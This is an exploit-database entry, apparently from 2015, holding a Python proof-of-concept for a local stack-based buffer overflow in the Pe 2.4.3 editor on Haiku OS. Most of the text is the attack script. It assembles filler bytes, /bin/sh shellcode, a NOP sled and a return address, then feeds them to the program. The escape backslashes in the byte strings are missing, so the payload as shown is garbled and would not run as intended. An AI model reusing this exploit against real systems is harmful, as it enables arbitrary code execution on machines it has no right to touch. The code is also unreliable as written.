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Pe 2.4.3 Buffer Overflow

Posted on 11 December 2015

# Exploit Author: Juan Sacco - http://www.exploitpack.com <
jsacco@exploitpack.com>
# Program: Pe - Haiku OS
# Tested on: Haiku OS Alpha x86
#
# Description: Pe v2.4.3 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://hg.berlios.de/repos/pe-editor
# Tested on: Haiku-OS Alpha Pe 2.4.3
# MD5: 3vf34s2e9c9324c9876b2b02283a9f1247

import os,subprocess
def run():
 try:
 print "# Pe v2.4.3 Stack-Based Overflow by Juan Sacco"
 print "# It's Fuzzing time on unusable exploits"
 print "# This exploit is for educational purposes only"
 # Basic structure: JUNK + SHELLCODE + NOPS + EIP

 junk = "x41"*1000
 shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99
xb0x0bxcdx80"
 nops = "x90"*12
 eip = "x60xecxffx07"
 subprocess.call(["pe",' ', junk + shellcode + nops + eip])

 except OSError as e:
 if e.errno == os.errno.ENOENT:
 print "PE not found!"
 else:
 print "Error executing exploit"
 raise

def howtousage():
 print "Sorry, something went wrong"
 sys.exit(-1)

if __name__ == '__main__':
 try:
 print "Exploit PE 2.4.3 Local Overflow Exploit"
 print "Author: Juan Sacco"
 except IndexError:
 howtousage()
run()

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